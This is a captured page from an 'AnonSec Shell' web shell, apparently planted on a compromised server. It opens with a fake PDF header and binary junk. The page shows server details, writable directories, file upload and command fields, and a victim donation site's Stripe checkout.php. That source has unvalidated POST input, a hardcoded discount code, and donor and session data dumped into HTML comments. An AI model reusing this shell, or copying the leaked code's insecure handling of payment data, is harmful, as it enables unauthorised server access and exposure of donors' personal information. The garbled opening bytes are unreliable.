%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/stripe/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/stripe/public/checkout.php
<?php
session_start();
require_once($_SERVER["DOCUMENT_ROOT"].'/Connections/french.php'); 
include($_SERVER["DOCUMENT_ROOT"].'/dons.class.php');

if(!empty($type_from) && $type_from=='gala2014')
{
	$don= new dons;
	$don->titre='';
	$don->nom=$f_1;
	$don->prenom=$f_2;
	$don->adresse=$f_3;
	$don->cp=$f_4;
	$don->ville=$f_5;
	$don->email=$f_6;
	$don->tel=$f_7;
	$don->portable=$f_8;
	

	$don->type_don='gala';
	$don->montant=$montant;
	$don->occasion='galas2014';
	$don->date='';
	$don->periodicite=addslashes($corps);
	$don->duree='';
	$don->du_mois='';
	$don->du_jour='';
	$don->nom_autre='';
	$don->prenom_autre='';
	$don->adresse_autre='';
	$don->cp_autre='';
	$don->ville_autre='';
	$don->valide=0;
 
	$don->save();

 }
 elseif(!empty($_POST['montant']) || !empty($_POST['email']))
 {
	$don= new dons;
	$don->titre=$_POST['titre'];
	$don->nom=$_POST['nom'];
	$don->prenom=$_POST['prenom'];
	$don->adresse=$_POST['adresse'];
	$don->cp=$_POST['cp'];
	$don->ville=$_POST['ville'];
	$don->pays=$_POST['pays'];
	$don->tel=$_POST['tel'];
	$don->portable=$_POST['portable'];
	$don->email=$_POST['email'];
	$don->type_don=$_POST['type_don'];
	if(!empty($_POST['codePromo']) && strtolower($_POST['codePromo'])=='elal2023132') $_POST['montant']=round($_POST['montant']*0.85,2);
	$don->montant=$_POST['montant'];
	$don->occasion=$_POST['occasion'];
	$don->date=$_POST['date'];
	$don->periodicite=$_POST['periodicite'];
	$don->duree=$_POST['duree'];
	$don->du_mois=$_POST['du_mois'];
	$don->du_jour=$_POST['du_jour'];
	$don->nom_autre=$_POST['nom_autre'];
	$don->prenom_autre=$_POST['prenom_autre'];
	$don->adresse_autre=$_POST['adresse_autre'];
	$don->cp_autre=$_POST['cp_autre'];
	$don->ville_autre=$_POST['ville_autre'];
	$don->commentaire=$_POST['commentaire'];
	$don->valide=0;
 
 if($don->type_don=='abonnement') $don->montant*=3;
	$don->save();
 }
 elseif(!empty($_SESSION['form_last_entry']) && is_array($_SESSION['form_last_entry']) && is_numeric($_SESSION['form_last_entry'][0]) && is_numeric($_SESSION['form_last_entry'][1]))
 {
	$don= new dons;
	$don->setForminatorInfos($_SESSION['form_last_entry'][0],$_SESSION['form_last_entry'][1]);
	$don->save();
 }
 
 $_SESSION['id_dons']='';
 if(!empty($don->id_dons)) $_SESSION['id_dons']=$don->id_dons;
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>Paiement sécurisé</title>
    <meta name="description" content="A demo of a payment on Stripe" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link rel="stylesheet" href="checkout.css" />
    <script src="https://js.stripe.com/v3/"></script>
    <script src="checkout.js" defer></script>
  </head>
  <body>
  <center>
  <h1>Paiement sécurisé</h1>
  Montant: <?=$don->montant?> <?php if($don->currency == 'ils') echo '&#8362;'; else echo '&euro;'; ?>
  <!--
  Elie don:
  <?php print_r($don);?>
  Elie session:
  <?php print_r($_SESSION);?>
  -->
  <br><br>
  <span style="color:red;">Veuillez patienter, le module de paiement doit s'afficher.</span>
  <br><br>
    <!-- Display a payment form -->
    <form id="payment-form">
      <div id="payment-element">
        <!--Stripe.js injects the Payment Element-->
      </div>
      <button id="submit" style="display:none;">
        <div class="spinner hidden" id="spinner"></div>
        <span id="button-text">Valider le paiement</span>
      </button>
      <div id="payment-message" class="hidden"></div>
    </form>
  </center>
  </body>
</html>

Anon7 - 2022
AnonSec Team